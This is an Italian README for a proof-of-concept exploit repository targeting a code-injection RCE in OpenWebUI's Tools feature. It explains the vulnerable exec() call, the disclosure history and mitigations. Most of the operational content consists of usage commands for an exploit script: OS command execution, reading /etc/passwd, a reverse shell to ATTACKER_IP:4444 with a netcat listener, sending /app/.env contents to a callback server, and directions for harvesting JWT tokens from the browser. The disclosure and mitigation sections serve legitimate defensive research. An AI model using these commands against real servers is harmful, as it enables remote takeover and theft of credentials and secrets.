
Proof-of-concept exploit per CVE-2026-0766, una vulnerabilità di esecuzione remota di codice in OpenWebUI tramite iniezione di codice negli strumenti. Include modalità di esecuzione di comandi, lettura di file, reverse shell ed esfiltrazione cieca.
Repository di Ricerca sulla Sicurezza a Scopo Educativo
Questo repository contiene codice proof-of-concept per lo sfruttamento di CVE-2026-0766, una vulnerabilità di esecuzione di codice remota in OpenWebUI scoperta e pubblicata dalla Zero Day Initiative (ZDI).
Questo repository è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi.
L'autore non si assume alcuna responsabilità per l'uso improprio di questo codice. Gli utenti sono gli unici responsabili di garantire che le loro attività siano conformi a tutte le leggi e normative applicabili.
| Proprietà | Valore |
|---|
| ID CVE | CVE-2026-0766 |
| Scoperta da | Zero Day Initiative (ZDI) |
| Software Interessato | OpenWebUI |
| Tipo di Vulnerabilità | Code Injection (CWE-94) |
| Punteggio CVSS | 8.8 ALTO |
| Vettore CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Complessità dell'Attacco | Bassa (amministratore autenticato o utente con permessi di creazione/aggiornamento strumenti può sfruttarla) |
OpenWebUI è un'interfaccia web self-hosted per Large Language Models. Fornisce un'esperienza simile a ChatGPT che le organizzazioni possono eseguire sulla propria infrastruttura, mantenendo conversazioni e dati LLM on-premises.
OpenWebUI include una funzionalità "Tools" che consente agli utenti di estendere le capacità degli LLM inviando codice Python. Questo codice viene eseguito lato server tramite la funzione exec() di Python senza alcun sandboxing, validazione o controllo di sicurezza.
Flusso di sfruttamento:
POST /api/v1/tools/createcontentexec(content, module.__dict__) in utils/plugin.pyPunto chiave: Il codice viene eseguito al momento della creazione dello strumento, non quando l'LLM invoca lo strumento. Ciò significa che la semplice creazione di uno strumento dannoso attiva la RCE — nessuna ulteriore interazione necessaria.
Questo exploit è stato verificato su:
La vulnerabilità è di natura architetturale (uso non sicuro di exec() su input utente) ed esiste in tutte le versioni finché non verrà rilasciata una patch di sicurezza dal team OpenWebUI.
La vulnerabilità risiede in backend/open_webui/utils/plugin.py:
def load_tool_module_by_id(tool_id: str, content: str):
# Pre-elaborazione minima (NON un controllo di sicurezza)
content = replace_imports(content)
# Crea il modulo ed esegue il codice utente
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # ← VULNERABILITÀ
return module
La funzione replace_imports() riscrive solo i percorsi di importazione (cosmetico) — non limita quale codice può essere eseguito. Non c'è:
Il team OpenWebUI ha inizialmente valutato questa vulnerabilità come a bassa priorità, osservando che la creazione di strumenti richiede permessi di amministratore. Tuttavia:
Dopo che il venditore ha proposto che gli amministratori gestiscano questo con accesso ristretto, ZDI ha pubblicato questa come vulnerabilità 0-day (ZDI-26-032) per informare i difensori.
L'autore rispetta le sfide del mantenimento di progetti open-source. Il patching di sicurezza richiede di bilanciare le esigenze degli utenti, i vincoli architetturali e le risorse limitate. Questa pubblicazione mira ad aiutare i team di sicurezza a valutare il rischio e implementare mitigazioni.
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
Lo script exploit (exploit.py) supporta molteplici modalità di attacco:
Esegue comandi del sistema operativo e recupera l'output:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
Legge file dal filesystem del server:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
Genera una reverse shell (richiede un listener netcat):
# Sulla macchina dell'attaccante:
nc -lvnp 4444
# Esegui l'exploit:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
Invia l'output dei comandi a un server di callback HTTP:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
Lo script accetta sia token JWT (dal login SSO) che chiavi API:
Ottenere un token JWT:
tokenAuthorization: Bearer ... da qualsiasi richiesta APIlocalStorage.getItem("token")--token eyJhbGci...Se esegui OpenWebUI e non puoi applicare immediatamente la patch:
Sostituisci exec() con un'alternativa sicura:
RestrictedPython per l'esecuzione in sandboxAggiungi controlli dei permessi:
Difesa in profondità:
Licenza MIT - Vedi il file LICENSE per i dettagli.
Questo codice è fornito per scopi educativi e di sicurezza difensiva. L'autore non è responsabile dell'uso improprio.
Questa vulnerabilità è stata divulgata in modo responsabile:
Se scopri vulnerabilità di sicurezza in progetti open-source, segui le pratiche di divulgazione responsabile e concedi ai manutentori il tempo di applicare la patch prima della divulgazione pubblica.
Per domande o feedback: Apri un issue in questo repository.